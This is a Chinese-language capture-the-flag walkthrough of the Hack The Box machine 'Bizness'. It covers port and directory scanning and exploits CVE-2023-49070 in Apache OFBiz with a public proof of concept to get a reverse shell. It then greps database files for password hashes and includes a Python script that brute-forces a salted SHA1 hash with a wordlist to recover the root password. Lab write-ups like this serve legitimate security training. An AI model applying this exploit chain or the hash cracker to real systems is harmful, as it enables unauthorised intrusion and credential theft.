Hack The Box-Bizness

2024-01-09 10:23:19

Bizness

信息收集

使用nmap工具对ip进行扫描

nmap 10.10.11.252

在这里插入图片描述

发现开放了22、80、443三个端口

端口利用

访问ip

在这里插入图片描述

查看后发现没有其他功能点,于是进行目录扫描

在这里插入图片描述

发现该站点没有子域名,将dirsearch扫描出的目录进行遍历后,发现一个登录界面

在这里插入图片描述

能够看到该登录界面为Apache OFBiz组件,在尝试弱口令和万能密码无果后,搜索相关漏洞

在这里插入图片描述

发现存在漏洞CVE-2023-49070,前往https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/tree/master下载POC

首先检测漏洞是否存在

在这里插入图片描述

发现可能存在漏洞,继续利用POC中的命令执行进行反弹shell

在这里插入图片描述

反弹成功

权限提升

修改显示方式

在这里插入图片描述

在查看suid提权和内核版本提权无果后,注意到Apache OFBiz组件包含了数据库,因此尝试搜索从数据库当中搜索敏感信息

cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0
grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}' .

在这里插入图片描述

发现数据库文件中有一段经过加盐的SHA密码

因为知道了盐,编写一段脚本将其进行暴力破解,看看是否能够破解出密码

import hashlib
import base64
import os
def cryptBytes(hash_type, salt, value):
    if not hash_type:
        hash_type = "SHA"
    if not salt:
        salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
    hash_obj = hashlib.new(hash_type)
    hash_obj.update(salt.encode('utf-8'))
    hash_obj.update(value)
    hashed_bytes = hash_obj.digest()
    result = f"${hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
    return result
def getCryptedBytes(hash_type, salt, value):
    try:
        hash_obj = hashlib.new(hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
    except hashlib.NoSuchAlgorithmException as e:
        raise Exception(f"Error while computing hash of type {hash_type}: {e}")
hash_type = "SHA1"
salt = "d"
search = "$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
wordlist = '/usr/share/wordlists/rockyou.txt'
with open(wordlist,'r',encoding='latin-1') as password_list:
    for password in password_list:
        value = password.strip()
        hashed_password = cryptBytes(hash_type, salt, value.encode('utf-8'))
        # print(hashed_password)
        if hashed_password == search:
            print(f'Found Password:{value}, hash:{hashed_password}')

在这里插入图片描述

跑出来密码为:monkeybizness

尝试切换到root用户

在这里插入图片描述

提权成功

文章来源:https://blog.csdn.net/m0_52742680/article/details/135463244
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。